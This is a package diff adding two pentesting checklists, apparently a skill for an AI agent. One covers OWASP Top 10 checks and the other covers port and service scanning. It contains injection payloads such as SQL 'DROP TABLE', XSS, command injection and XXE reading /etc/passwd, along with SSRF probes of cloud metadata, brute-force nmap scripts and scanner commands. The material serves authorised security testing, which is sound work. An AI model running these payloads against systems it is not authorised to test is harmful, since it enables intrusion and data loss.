@soulofzephir/pi-skill-pentesting 1.0.0

package/skills/pentesting/checklists/owasp.md

@@ -0,0 +1,291 @@
+# OWASP Top 10 Vulnerability Checklist
+
+## A01 - Broken Access Control
+
+### IDOR (Insecure Direct Object Reference)
+```
+Test:
+- /api/users/1 → /api/users/2 (can view others?)
+- /orders/123 → /orders/124 (can access others?)
+- /download?file=report1.pdf → /download?file=../../etc/passwd
+```
+
+**Check:**
+- [ ] Horizontal privilege escalation possible?
+- [ ] Vertical privilege escalation possible?
+- [ ] Direct object references exposed in URL?
+- [ ] Authorization bypass on admin endpoints?
+- [ ] Missing rate limiting on sensitive endpoints?
+
+### Forced Browsing
+**Check:**
+- [ ] Can access admin panel without auth?
+- [ ] Can force browse to /admin, /dashboard, /settings?
+- [ ] API endpoints protected?
+
+### Mass Assignment
+**Check:**
+- [ ] Can modify is_admin=true in request?
+- [ ] Can modify role=user to role=admin?
+
+---
+
+## A02 - Cryptographic Failures
+
+### Sensitive Data Exposure
+**Check:**
+- [ ] HTTPS enforced everywhere?
+- [ ] Credit card data properly handled?
+- [ ] PII encrypted at rest?
+- [ ] Passwords hashed (bcrypt, argon2)?
+- [ ] Secrets in source code?
+
+### Weak Crypto
+**Check:**
+- [ ] MD5/SHA1 for passwords?
+- [ ] DES/3DES still in use?
+- [ ] Weak TLS versions (SSLv3, TLS1.0, 1.1)?
+
+### Insecure Key Management
+**Check:**
+- [ ] API keys in code?
+- [ ] Keys in URLs?
+- [ ] Hardcoded credentials?
+
+---
+
+## A03 - Injection
+
+### SQL Injection
+**Test Payloads:**
+```
+'
+"
+' OR '1'='1
+' OR 1=1--
+' UNION SELECT NULL--
+' UNION SELECT username,password FROM users--
+'; DROP TABLE users--
+```
+
+**Check:**
+- [ ] Login form injectable?
+- [ ] Search fields injectable?
+- [ ] URL parameters injectable?
+- [ ] Blind SQLi possible?
+- [ ] Error messages leak info?
+
+### XSS (Cross-Site Scripting)
+**Test Payloads:**
+```html
+<script>alert(1)</script>
+<img src=x onerror=alert(1)>
+<svg onload=alert(1)>
+javascript:alert(1)
+<iframe src="javascript:alert(1)">
+<marquee onstart=alert(1)>
+```
+
+**Types:**
+- [ ] Reflected XSS
+- [ ] Stored XSS
+- [ ] DOM-based XSS
+
+**Check:**
+- [ ] Input sanitized?
+- [ ] Output encoded?
+- [ ] CSP prevents execution?
+
+### Command Injection
+**Test Payloads:**
+```
+; ls
+| cat /etc/passwd
+&& whoami
+`id`
+$(id)
+```
+
+**Check:**
+- [ ] OS command execution possible?
+- [ ] Ping/traceroute vulnerable?
+
+### LDAP Injection
+**Test:**
+```
+*)(objectClass=*
+admin)(&(password=*)
+```
+
+### XML Injection / XXE
+**Test:**
+```xml
+<?xml version="1.0"?>
+<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
+<foo>&xxe;</foo>
+```
+
+---
+
+## A04 - Insecure Design
+
+### Missing Rate Limiting
+**Check:**
+- [ ] Login brute forceable?
+- [ ] Registration floodable?
+- [ ] API unlimited requests?
+- [ ] File upload unlimited?
+
+### Business Logic Flaws
+**Check:**
+- [ ] Price manipulation possible?
+- [ ] Quantity manipulation possible?
+- [ ] Coupon reuse possible?
+- [ ] Workflow bypass possible?
+
+---
+
+## A05 - Security Misconfiguration
+
+### Default Credentials
+**Check:**
+- [ ] Admin/admin works?
+- [ ] test/test works?
+- [ ] vendor/vendor works?
+
+### Debug Mode
+**Check:**
+- [ ] Debug=true in production?
+- [ ] Stack traces exposed?
+- [ ] Verbose error messages?
+
+### Directory Listing
+**Check:**
+- [ ] Directory listing enabled?
+- [ ] .git/.env exposed?
+
+### Unnecessary Features
+**Check:**
+- [ ] TRACE method enabled?
+- [ ] OPTIONS method enabled?
+- [ ] XML parsing enabled unnecessarily?
+
+---
+
+## A06 - Vulnerable Components
+
+### Outdated Software
+**Check:**
+- [ ] jQuery outdated?
+- [ ] Bootstrap outdated?
+- [ ] Framework version old?
+- [ ] CMS plugins outdated?
+
+### Known CVEs
+**Check:**
+- [ ] Components with known exploits?
+- [ ] Deprecated libraries?
+
+---
+
+## A07 - Identification & Authentication Failures
+
+### Weak Password Policy
+**Check:**
+- [ ] No minimum length?
+- [ ] No complexity required?
+- [ ] Common passwords allowed? (123456, password, admin)
+
+### Session Management
+**Check:**
+- [ ] Session ID in URL?
+- [ ] Session fixation possible?
+- [ ] Sessions timeout?
+- [ ] Concurrent sessions allowed for sensitive accounts?
+- [ ] Session cookies: HttpOnly? Secure? SameSite?
+
+### MFA
+**Check:**
+- [ ] MFA available?
+- [ ] MFA enforced for admin?
+
+### Password Reset
+**Check:**
+- [ ] Token predictable?
+- [ ] Token reusable?
+- [ ] Email enumeration possible?
+
+---
+
+## A08 - Software & Data Integrity Failures
+
+### Insecure Deserialization
+**Test:**
+```
+O:4:"User":2:{s:8:"username";s:5:"admin";s:8:"is_admin";b:1;}
+```
+
+**Check:**
+- [ ] Serialized objects accepted?
+- [ ] Type checking done?
+
+### CI/CD Issues
+**Check:**
+- [ ] Dependencies verified?
+- [ ] Code signed?
+- [ ] Pipeline secure?
+
+---
+
+## A09 - Security Logging Failures
+
+**Check:**
+- [ ] Failed logins logged?
+- [ ] Successful logins logged?
+- [ ] Admin actions logged?
+- [ ] Logs contain PII?
+- [ ] Logs accessible?
+
+---
+
+## A10 - Server-Side Request Forgery (SSRF)
+
+**Test Payloads:**
+```
+http://localhost/admin
+http://127.0.0.1:22
+http://169.254.169.254/ (AWS metadata)
+file:///etc/passwd
+```
+
+**Check:**
+- [ ] URL parameters fetch external resources?
+- [ ] Image URL parameter vulnerable?
+- [ ] Internal network accessible?
+
+---
+
+## Quick Scan Commands
+
+```bash
+# Nuclei template scan
+nuclei -u https://target.com -t cves/ -severity critical,high
+
+# SQLMap basic
+sqlmap -u "https://target.com/search?q=1" --batch
+
+# Directory enumeration
+gobuster dir -u https://target.com -w /usr/share/wordlists/dirb/common.txt
+
+# Parameter discovery
+arjun -u https://target.com/api/
+
+# XSS with dalfox
+dalfox url https://target.com/search?q=test
+
+# CMS scanner
+wpscan --url https://target.com --enumerate vp
+
+# Check for exposed .git
+curl https://target.com/.git/config
+```

package/skills/pentesting/checklists/ports.md

@@ -0,0 +1,323 @@
+# Open Port & Network Scanning Checklist
+
+## 🔍 Port Scanning Overview
+
+### Common Ports to Check
+
+| Category | Ports | Service |
+|----------|-------|---------|
+| **Web** | 80, 443, 8080, 8443 | HTTP/HTTPS |
+| **Database** | 3306, 5432, 27017, 1433, 6379 | MySQL, PostgreSQL, MongoDB, MSSQL, Redis |
+| **Remote Access** | 22, 23, 3389, 5900 | SSH, Telnet, RDP, VNC |
+| **Email** | 25, 110, 143, 465, 587, 993, 995 | SMTP, POP3, IMAP |
+| **Directory** | 389, 636, 3268 | LDAP, LDAPS |
+| **File** | 21, 69, 2049 | FTP, TFTP, NFS |
+| **DevOps** | 2375, 2376, 4243 | Docker, Kubernetes |
+| **Monitoring** | 9200, 5601 | Elasticsearch, Kibana |
+| **Other** | 111, 512, 513, 514, 515 | RPC, rexec, rlogin, syslog |
+
+---
+
+## 🎯 Quick Port Scan Commands
+
+### Nmap (Recommended)
+```bash
+# Basic scan
+nmap -sV target.com
+
+# Full port scan
+nmap -p- -sV -sC -O target.com
+
+# Top 100 ports
+nmap --top-ports 100 target.com
+
+# UDP scan (slow)
+nmap -sU target.com
+
+# Aggressive scan with scripts
+nmap -A -p- target.com
+
+# Stealth SYN scan (needs root)
+nmap -sS target.com
+
+# Quick scan
+nmap -F target.com
+```
+
+### Alternative Tools
+```bash
+# masscan (fast)
+masscan -p1-65535 target.com --rate=1000
+
+# rustscan (modern, fast)
+rustscan -a target.com
+
+# nc (basic check)
+nc -zv target.com 1-1000
+
+# PowerShell
+1..1024 | % { 
+    $tcp = New-Object System.Net.Sockets.TcpClient 
+    $tcp.BeginConnect("target.com", $_, $null, $null) 
+    if ($tcp.AsyncWaitHandle.WaitOne(200)) { 
+        Write-Host "Port $_ is OPEN" 
+    } 
+    $tcp.Close() 
+}
+```
+
+---
+
+## 🔴 High Risk Open Ports
+
+### ❌ Never Expose Public
+
+| Port | Service | Risk | Should Be |
+|------|---------|------|-----------|
+| 22 | SSH | Brute force | localhost only or key-only |
+| 3306 | MySQL | SQL injection + remote | 127.0.0.1 only |
+| 5432 | PostgreSQL | Data breach | localhost only |
+| 27017 | MongoDB | Data breach | localhost only |
+| 6379 | Redis | No auth common | bind to localhost |
+| 11211 | Memcached | DDoS amplification | localhost only |
+| 9200 | Elasticsearch | Data exposure | behind auth/firewall |
+| 2375 | Docker | Container escape | NEVER expose |
+| 8080 | HTTP Proxy | Open proxy | internal only |
+| 3128 | Squid | Open proxy | internal only |
+| 1080 | SOCKS | Proxy abuse | internal only |
+
+---
+
+## ⚠️ Service-Specific Checks
+
+### SSH (Port 22)
+**Check:**
+- [ ] Password authentication disabled?
+- [ ] Root login disabled?
+- [ ] Strong key only (RSA 4096+ / Ed25519)?
+- [ ] Failed login rate limited?
+- [ ] SSH keys rotated regularly?
+- [ ] Banner shows version? (hide it!)
+- [ ] Max auth tries limited?
+
+**Test:**
+```bash
+# Check SSH version/info leak
+ssh -v target.com
+
+# Check supported algorithms
+ssh -vvv target.com
+
+# Test weak ciphers
+ssh -c 3des-cbc target.com
+
+# Check for banner
+nc target.com 22
+```
+
+---
+
+### Database Ports
+
+#### MySQL (3306)
+**Check:**
+- [ ] Bind address = 127.0.0.1?
+- [ ] Root access from remote?
+- [ ] Empty/default password?
+- [ ] SSL required for remote?
+- [ ] Users limited to specific IPs?
+
+**Test:**
+```bash
+# Try connection
+mysql -h target.com -u root -p
+
+# Nmap scripts
+nmap --script=mysql-info target.com -p 3306
+nmap --script=mysql-empty-password target.com -p 3306
+nmap --script=mysql-brute target.com -p 3306
+```
+
+#### PostgreSQL (5432)
+**Check:**
+- [ ] pg_hba.conf restricts access?
+- [ ] SSL enforced?
+- [ ] Password complexity enforced?
+
+**Test:**
+```bash
+# Try connection
+psql -h target.com -U postgres
+
+# Nmap scripts
+nmap --script=pgsql-brute target.com -p 5432
+```
+
+#### MongoDB (27017)
+**Check:**
+- [ ] No authentication enabled?
+- [ ] Restriction to localhost?
+- [ ] SSL/TLS enabled?
+
+**Test:**
+```bash
+# No auth check
+nmap --script=mongodb-info target.com -p 27017
+
+# Try connection
+mongosh mongodb://target.com:27017
+```
+
+#### Redis (6379)
+**Check:**
+- [ ] Password set (AUTH)?
+- [ ] Bind to localhost?
+- [ ] Protected mode enabled?
+
+**Test:**
+```bash
+# No auth test
+redis-cli -h target.com
+
+# Try commands
+redis-cli -h target.com INFO
+redis-cli -h target.com KEYS *
+redis-cli -h target.com CONFIG GET *
+```
+
+---
+
+### HTTP/HTTPS Ports (80, 443, 8080, 8443)
+
+**Check:**
+- [ ] HTTP redirects to HTTPS?
+- [ ] TLS version (no SSLv3, TLS 1.0/1.1)?
+- [ ] Weak ciphers disabled?
+- [ ] Certificate valid and not expired?
+- [ ] Self-signed cert?
+- [ ] HSTS enabled?
+- [ ] Directory listing disabled?
+
+**Test:**
+```bash
+# SSL/TLS check
+nmap --script=ssl-enum-ciphers target.com -p 443
+testssl.sh target.com
+
+# Check certificate
+openssl s_client -connect target.com:443 -showcerts
+
+# Check for HTTP methods
+curl -v -X OPTIONS http://target.com/
+
+# Check TRACE method (XST attack)
+curl -v -X TRACE http://target.com/
+
+# Directory enumeration
+gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt
+ffuf -w wordlist.txt -u http://target.com/FUZZ
+```
+
+---
+
+### Email Ports
+
+| Port | Service | Security Checks |
+|------|---------|----------------|
+| 25 | SMTP | Open relay? |
+| 465 | SMTPS | SSL/TLS? |
+| 587 | SMTP | STARTTLS? |
+| 110 | POP3 | SSL? |
+| 143 | IMAP | SSL? |
+| 993 | IMAPS | SSL? |
+| 995 | POP3S | SSL? |
+
+**Test:**
+```bash
+# SMTP open relay check
+telnet target.com 25
+HELO test.com
+MAIL FROM:<test@test.com>
+RCPT TO:<victim@target.com>
+DATA
+test
+.
+
+# Test STARTTLS
+openssl s_client -starttls smtp -connect target.com:587
+
+# Check for weak ciphers
+nmap --script=smtp-enum-users,smtp-brute target.com -p 25,465,587
+```
+
+---
+
+## 🛠️ Automation Scripts
+
+### Quick Port Discovery (Bash)
+```bash
+#!/bin/bash
+TARGET=$1
+echo "Port Scan for: $TARGET"
+echo "======================"
+
+# Common high-risk ports
+RISKY_PORTS="21,22,23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080,8443"
+
+echo "Checking risky ports..."
+nmap -p$RISKY_PORTS -T4 -F $TARGET
+
+echo ""
+echo "Checking all ports (verbose)..."
+nmap -p- -T4 -v $TARGET -oN scan_results.txt
+
+echo ""
+echo "Running default scripts..."
+nmap -sC -sV -p21,22,80,443,3306,5432,6379,8080 $TARGET
+```
+
+### PowerShell Quick Scan
+```powershell
+$ports = @(21,22,23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080,8443)
+$target = "target.com"
+
+$ports | ForEach-Object -Parallel {
+    $port = $_
+    try {
+        $tcp = New-Object System.Net.Sockets.TcpClient
+        $result = $tcp.BeginConnect($using:target, $port, $null, $null)
+        $wait = $result.AsyncWaitHandle.WaitOne(300)
+        if ($wait -and $tcp.Connected) {
+            Write-Host "OPEN: $port" -ForegroundColor Green
+        }
+        $tcp.Close()
+    } catch {}
+}
+```
+
+---
+
+## 📊 Port Security Score
+
+| Points | Status |
+|--------|--------|
+| 100-90 | Excellent - No risky ports exposed |
+| 89-70 | Good - Few ports, properly secured |
+| 69-50 | Fair - Some risky ports need review |
+| 49-30 | Poor - Multiple risky ports open |
+| 29-0 | Critical - Major security exposure |
+
+---
+
+## 🔧 Hardening Checklist
+
+- [ ] Default ports changed (SSH 22→custom)
+- [ ] Firewall restricts access to necessary ports
+- [ ] Only essential ports exposed to internet
+- [ ] Internal services behind VPN/firewall
+- [ ] Port scanning detected & logged
+- [ ] Fail2ban/denyhosts active
+- [ ] Rate limiting on all services
+- [ ] Unused services disabled
+- [ ] All services updated/patched
+- [ ] Strong authentication everywhere